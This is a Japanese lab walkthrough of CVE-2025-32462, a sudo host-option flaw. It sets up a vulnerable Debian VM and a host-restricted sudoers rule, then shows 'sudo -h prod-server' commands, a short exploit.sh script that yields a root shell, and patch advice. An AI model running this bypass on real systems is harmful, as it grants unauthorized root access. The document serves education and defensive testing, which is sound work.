
CVE-2025-32462 は、sudo における ローカル権限昇格の脆弱性 であり、低権限ユーザーが ホスト名で制限された sudo ルール を悪用して root としてコマンドを実行できるようにするものです。問題は、sudo が認証チェック時に -h (ホスト) オプションをどのように処理してきたかにあります。
sudoers ルールが特定のホスト名に制限されている場合、sudo はシステムのホスト名がルールと一致する場合にのみ実行を許可するべきです。しかし、ロジックの欠陥により、影響を受けるバージョンでは sudo -h を介して ユーザーが指定したホスト名 を信頼してしまい、攻撃者が制限を完全に回避できるようになります。
sudo は、-h <hostname> 引数が認証判断に影響を与えることを許可していました。脆弱なバージョンでは、指定されたホスト名がシステムの実際のホスト名に対して厳密に検証される代わりに、sudoers ルールの評価時に信頼されていました。
その結果、ホストベースの sudo 制限をバイパスできる可能性がありました。
悪用に成功した場合、ローカル攻撃者は以下のことが可能になります:
実際の環境では、この脆弱性は特に以下の場所で危険です:
| コンポーネント | 詳細 |
|---|---|
| OS | Debian 11 (Bullseye – 未パッチ) |
| sudo バージョン | ≤ 1.9.13 |
| アクセスレベル | ローカルユーザー |
| 仮想化 | VirtualBox |
⚠️ 注: 最新の Ubuntu および Debian リリースでは、類似したバージョン文字列を保持しながらパッチがバックポートされています。この脆弱性はパッチ適用済みのシステムでは再現できません。
sudo --version
期待される出力 (脆弱な場合):
Sudo version 1.9.5p2
sudo useradd -m attacker
sudo passwd attacker
groups attacker
期待される出力:
attacker : attacker
ユーザーは sudo グループに 所属していない 必要があります。
安全に sudoers を編集:
sudo visudo
次の行を追加:
attacker prod-server = (root) ALL
prod-server は偽のホスト名です確認:
sudo -l -U attacker
期待される出力:
User attacker may run the following commands on prod-server:
(root) ALL
ユーザーを切り替え:
su - attacker
通常通り sudo を試行:
sudo id
期待される出力:
attacker is not allowed to run sudo on <hostname>
脆弱性をトリガー:
sudo -h prod-server id
悪用成功時の出力:
uid=0(root) gid=0(root) groups=0(root)
ルートシェルを起動:
sudo -h prod-server /bin/bash
確認:
id
#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id
exploit.sh として保存し、実行可能にして、attacker ユーザーとして実行:
chmod +x exploit.sh
./exploit.sh
| アクション | 結果 |
|---|---|
| 通常の sudo | ❌ 拒否 |
sudo -h prod-server id | ✅ Root |
これにより、権限昇格が成功したことが確認されます。
最新の Ubuntu リリースは、影響範囲内の sudo バージョンを搭載しているように見えます。しかし、Ubuntu は CVE‑2025‑32462 のセキュリティ修正をバックポートしており、上流のバージョン文字列は変更されていません。
その結果:
sudo -h オプションは認証チェックに影響を与えなくなりますこれは、バージョン文字列だけではなく、動作テストを使用して脆弱性の状態を検証する重要性を示しています。
sudo をパッチ適用済みバージョンにアップグレードこのウォークスルーは教育および防御的なセキュリティ研究のみを目的としています。この脆弱性を、自分が所有していない、または明示的な許可を得ていないシステムでテストしないでください。